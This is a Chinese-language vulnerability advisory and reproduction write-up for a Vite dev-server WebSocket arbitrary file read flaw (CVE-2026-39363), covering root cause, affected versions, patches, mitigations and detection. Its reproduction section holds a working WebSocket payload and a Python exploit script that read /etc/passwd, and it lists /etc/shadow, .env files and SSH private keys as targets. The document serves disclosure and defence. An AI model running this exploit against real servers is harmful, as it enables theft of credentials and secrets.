【已复现】ViteWebSocket任意文件读取漏洞(CVE-2026-39363)!

admin 2026-04-13 03:46:59 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Vite开发服务器存在高危任意文件读取漏洞CVE-2026-39363,攻击者可通过WebSocket接口绕过文件系统访问控制读取服务器任意文件。影响版本为Vite6.0.0-6.4.1、7.0.0-7.3.1、8.0.0-8.0.4。修复方案包括升级至6.4.2/7.3.2/8.0.5版本,或通过禁用WebSocket、限制网络暴露等措施临时缓解。建议开发团队立即评估风险并实施防护。 综合评分: 87 文章分类: 漏洞分析,WEB安全,安全工具,解决方案,应急响应


cover_image

【已复现】Vite WebSocket 任意文件读取漏洞(CVE-2026-39363)!

原创

GhostShell GhostShell

乌雲安全

2026年4月10日 09:10 重庆

在小说阅读器读本章

去阅读

2026年4月6日,Vite 官方发布安全公告,披露了一个高危任意文件读取漏洞,编号 CVE-2026-39363。 该漏洞影响 Vite 开发服务器的 WebSocket 接口,攻击者可通过构造特定的 WebSocket 消息绕过文件系统访问控制,读取服务器上的任意文件。鉴于 Vite 作为现代前端构建工具的广泛应用,以及漏洞利用条件相对简单,建议相关开发团队尽快评估影响并实施修复。

一、漏洞概述

Vite 是由尤雨溪创建的现代前端构建工具,以其极速的冷启动和热模块替换(HMR)能力在前端开发领域获得了极高的市场占有率,广泛应用于 Vue、React、Svelte 等主流框架的项目开发中。与传统构建工具不同,Vite 利用浏览器原生 ES 模块支持,在开发阶段提供近乎即时的模块热更新体验。

漏洞核心信息:

  • • CVE 编号:CVE-2026-39363

  • • 漏洞类型:任意文件读取 / 信息泄露

  • • 影响版本

  • • Vite 6.0.0 至 6.4.1

  • • Vite 7.0.0 至 7.3.1

  • • Vite 8.0.0 至 8.0.4

  • • 修复版本:6.4.2、7.3.2、8.0.5

  • • CVSS 评分:7.5(高危)

  • • CWE 分类:CWE-200(敏感信息泄露给未授权参与者)、CWE-306(关键功能缺失认证)

该漏洞的本质是访问控制绕过问题。Vite 开发服务器在 HTTP 请求路径上实施了严格的文件系统访问控制(server.fs.allow),但在 WebSocket 通信路径上,同样的控制机制未被应用到 fetchModule 方法,导致攻击者可以通过 WebSocket 接口读取服务器上的任意文件。

二、技术原理分析

2.1 Vite 开发服务器架构

Vite 开发服务器基于 Node.js 构建,主要提供以下功能:

  • • 静态文件服务:提供项目文件的 HTTP 访问
  • • 模块转换:将非标准模块(如 Vue 单文件组件、TypeScript)转换为浏览器可执行的 JavaScript
  • • 热模块替换(HMR):通过 WebSocket 实现开发时的实时更新

Vite 在设计上强调安全性,默认情况下限制了对项目根目录外文件的访问。通过 server.fs.allow 配置,开发者可以显式指定允许访问的目录,超出范围的文件请求将返回 403 错误。

2.2 漏洞根因:不一致的访问控制

漏洞的核心问题在于 HTTP 路径和 WebSocket 路径的访问控制不一致:

HTTP 路径的安全控制: 当通过 HTTP 请求访问文件时,Vite 会检查请求路径是否在 server.fs.allow 允许的范围内。例如,尝试访问 /etc/passwd

curl -i 'http://localhost:5173/@fs/etc/passwd?raw'

服务器会返回 403 Restricted,提示该路径超出允许列表。

WebSocket 路径的缺失控制: Vite 开发服务器通过 WebSocket 提供 vite:invoke 自定义事件,用于内部模块加载等功能。其中 fetchModule 方法负责获取模块内容。问题在于,该方法在处理 file:// 协议的 URL 时,未执行与 HTTP 路径相同的文件系统访问控制检查。

攻击者可以通过 WebSocket 发送如下消息调用 fetchModule

{
  "type":"custom",
"event":"vite:invoke",
"data":{
    "name":"fetchModule",
    "id":"send:1",
    "data":["file:///etc/passwd?raw"]
}
}

服务器将返回文件内容,格式化为 JavaScript 模块字符串(export default "..."),完全绕过了 server.fs.allow 的限制。

2.3 利用条件分析

根据官方公告,漏洞利用需要满足以下前提条件:

  1. 1. 服务器暴露于网络:Vite 开发服务器必须显式绑定到网络接口(使用 --host 参数或配置 server.host),而非默认的 localhost -only 模式
  2. 2. WebSocket 未禁用:未通过 server.ws: false 禁用 WebSocket 功能
  3. 3. 无 Origin 头限制:攻击者能够不带 Origin 头连接 WebSocket(某些环境或工具可实现)

值得注意的是,Vite 6.x/7.x/8.x 均受此漏洞影响,说明该问题存在于多个主要版本的代码路径中。

三、影响范围评估

受影响版本:

  • • Vite 6.0.0 – 6.4.1
  • • Vite 7.0.0 – 7.3.1
  • • Vite 8.0.0 – 8.0.4

安全风险场景:

  1. 1. 开发环境泄露:开发人员在本地启动 Vite 服务器并绑定到局域网 IP(便于移动设备调试或团队协作),攻击者同处内网即可利用
  2. 2. CI/CD 环境风险:持续集成环境中如果运行 Vite 开发服务器进行测试,且未隔离网络,可能导致构建机密泄露
  3. 3. 容器化部署:Docker 容器中运行的 Vite 开发服务器如果映射端口到宿主机,且未限制访问来源,存在被利用风险

潜在泄露文件类型:

  • • 系统配置文件(/etc/passwd/etc/shadow
  • • 环境变量文件(.env.env.local
  • • SSH 私钥(~/.ssh/id_rsa
  • • 应用配置文件(数据库密码、API 密钥)
  • • 源代码文件(商业逻辑、算法实现)

根据奇安信 CERT 的威胁情报数据,该漏洞关联的全球风险资产总数超过 20 万个,关联 IP 超过 7 万个,国内风险资产约 7 万个。目前 PoC 和 EXP 均已公开,但尚未发现在野利用。

四、漏洞复现

4.1 环境搭建

创建测试项目并安装受影响版本的 Vite:

# 创建测试目录
mkdir vite-cve-test && cd vite-cve-test

# 初始化项目
npm init -y

# 安装受影响版本(以 8.0.4 为例)
npm install [email protected]

# 创建简单的 index.html
echo&nbsp;'<!DOCTYPE html><html><body>Test</body></html>'&nbsp;> index.html

4.2 启动目标服务器

使用 --host 参数将服务器绑定到所有网络接口:

npx vite --host 0.0.0.0 --port 5173

4.3 验证 HTTP 路径限制

首先确认 HTTP 访问被正确限制:

curl -i&nbsp;'http://localhost:5173/@fs/etc/passwd?raw'

预期返回:

HTTP/1.1 403 Forbidden
...
403 Restricted
The request id "/etc/passwd" is outside of Vite serving allow list.

这表明文件系统访问控制在 HTTP 路径上正常工作。

4.4 WebSocket 利用

使用 WebSocket 客户端(如 websocat 或浏览器开发者工具)连接 Vite HMR WebSocket:

# 使用 websocat 连接(不带 Origin 头)
websocat ws://localhost:5173/ -H&nbsp;"Origin:"

发送漏洞利用 payload:

{
&nbsp;&nbsp;"type":"custom",
"event":"vite:invoke",
"data":{
&nbsp; &nbsp;&nbsp;"name":"fetchModule",
&nbsp; &nbsp;&nbsp;"id":"send:1",
&nbsp; &nbsp;&nbsp;"data":["file:///etc/passwd?raw"]
}
}

或使用 Python 脚本实现自动化利用:

import&nbsp;asyncio
import&nbsp;websockets
import&nbsp;json

asyncdefexploit(target, filepath):
&nbsp; &nbsp; uri =&nbsp;f"ws://{target}"
&nbsp; &nbsp;&nbsp;asyncwith&nbsp;websockets.connect(uri)&nbsp;as&nbsp;websocket:
&nbsp; &nbsp; &nbsp; &nbsp; payload = {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"type":&nbsp;"custom",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"event":&nbsp;"vite:invoke",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"data": {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":&nbsp;"fetchModule",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"id":&nbsp;"send:1",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"data": [f"file://{filepath}?raw"]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;await&nbsp;websocket.send(json.dumps(payload))
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;await&nbsp;websocket.recv()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(response)

# 执行利用
asyncio.run(exploit("localhost:5173",&nbsp;"/etc/passwd"))

4.5 利用效果

成功利用后,服务器返回的响应包含文件内容,格式如下:

{
&nbsp;&nbsp;"type":"custom",
"event":"vite:invoke",
"data":{
&nbsp; &nbsp;&nbsp;"name":"fetchModule",
&nbsp; &nbsp;&nbsp;"id":"response:1",
&nbsp; &nbsp;&nbsp;"data":{
&nbsp; &nbsp; &nbsp;&nbsp;"result":{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"code":"export default \"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\n...\"",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"file":"/etc/passwd"
&nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp;&nbsp;}
}
}

文件内容被包装在 JavaScript 模块的 export default 语句中,提取后即可获得原始文件内容。

五、修复方案

5.1 官方补丁

Vite 官方已在以下版本中修复该漏洞:

  • • Vite 6.4.2
  • • Vite 7.3.2
  • • Vite 8.0.5

修复措施:在 fetchModule 方法中增加了对 server.fs.allow 配置的检查,确保 WebSocket 路径与 HTTP 路径执行相同的访问控制策略。

升级命令:

# 升级至修复版本
npm install vite@latest

# 或指定版本
npm install [email protected]

5.2 临时缓解措施

在无法立即升级的情况下,可采取以下缓解措施:

  1. 1. 限制网络暴露
  • • 移除 --host 参数,使用默认的 localhost-only 模式
  • • 如需局域网访问,配置防火墙限制仅允许可信 IP 连接
  1. 2. 禁用 WebSocket 在 vite.config.js 中禁用 WebSocket:
   export&nbsp;default&nbsp;{
   &nbsp;&nbsp;server: {
   &nbsp; &nbsp;&nbsp;ws:&nbsp;false
   &nbsp; }
   }

注意:禁用 WebSocket 将导致热模块替换功能失效。

  1. 3. 反向代理保护 使用 Nginx 等反向代理时,添加 Origin 头验证:
   location&nbsp;/ {
   &nbsp;&nbsp;proxy_pass&nbsp;http://localhost:5173;
   &nbsp;&nbsp;proxy_set_header&nbsp;Origin&nbsp;$http_origin;
   &nbsp;&nbsp;# 或拒绝无 Origin 头的请求
   &nbsp;&nbsp;if&nbsp;($http_origin&nbsp;=&nbsp;"") {
   &nbsp; &nbsp;&nbsp;return&nbsp;403;
   &nbsp; }
   }
  1. 4. 严格 fs.allow 配置 即使升级后,也建议显式配置允许访问的目录,遵循最小权限原则:
   export&nbsp;default&nbsp;{
   &nbsp;&nbsp;server: {
   &nbsp; &nbsp;&nbsp;fs: {
   &nbsp; &nbsp; &nbsp;&nbsp;allow: ['src',&nbsp;'public']
   &nbsp; &nbsp; }
   &nbsp; }
   }

六、检测与监控

6.1 漏洞扫描

ProjectDiscovery 的 Nuclei 已发布针对此漏洞的检测模板,可用于批量资产扫描:

nuclei -t cve-2026-39363.yaml -u target.com

检测逻辑主要识别 Vite 版本号和 WebSocket 接口的响应特征。

6.2 入侵检测

在服务器端监控以下可疑行为:

  • • WebSocket 连接日志:监控 vite:invoke 事件中包含 file:// 协议的请求
  • • 异常文件访问:Node.js 进程读取 /etc/passwd.env 等非项目文件
  • • 网络连接:开发服务器接收到来自非预期源的 WebSocket 连接

6.3 代码审计建议

对于使用 Vite 的项目,建议进行以下安全检查:

  1. 1. 检查 package.json 中的 Vite 版本是否在受影响范围内
  2. 2. 检查启动脚本是否包含 --host 参数
  3. 3. 检查 vite.config.js 中的 server.host 配置
  4. 4. 检查容器/服务器是否将 Vite 端口暴露到公网

七、总结

CVE-2026-39363 是一个典型的”不一致安全控制”漏洞。Vite 开发团队在 HTTP 请求路径上实施了完善的文件系统访问控制,但在 WebSocket 通信路径上遗漏了同样的检查,导致攻击者可以绕过安全限制。

该漏洞再次提醒我们,在现代 Web 应用中,攻击面不仅限于传统的 HTTP 端点,WebSocket、Server-Sent Events 等实时通信通道同样需要严格的安全审查。对于开发工具而言,安全默认配置尤为重要——Vite 默认的 localhost-only 模式在此次漏洞中起到了关键的缓解作用。

建议所有使用 Vite 的开发团队立即检查项目依赖版本,优先升级至修复版本。同时,审查开发环境的网络暴露情况,避免将开发服务器直接暴露于不可信网络环境。安全开发实践不仅关乎生产环境,开发环境的安全同样不可忽视。


参考来源:

  • • Vite 官方安全公告(GHSA-p9ff-h696-f583)
  • • GitHub Advisory Database
  • • 奇安信 CERT 安全风险通告
  • • GitLab 安全公告
  • • NVD 漏洞数据库

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:乌雲安全 GhostShell GhostShell《【已复现】Vite WebSocket 任意文件读取漏洞(CVE-2026-39363)!》

评论:0   参与:  0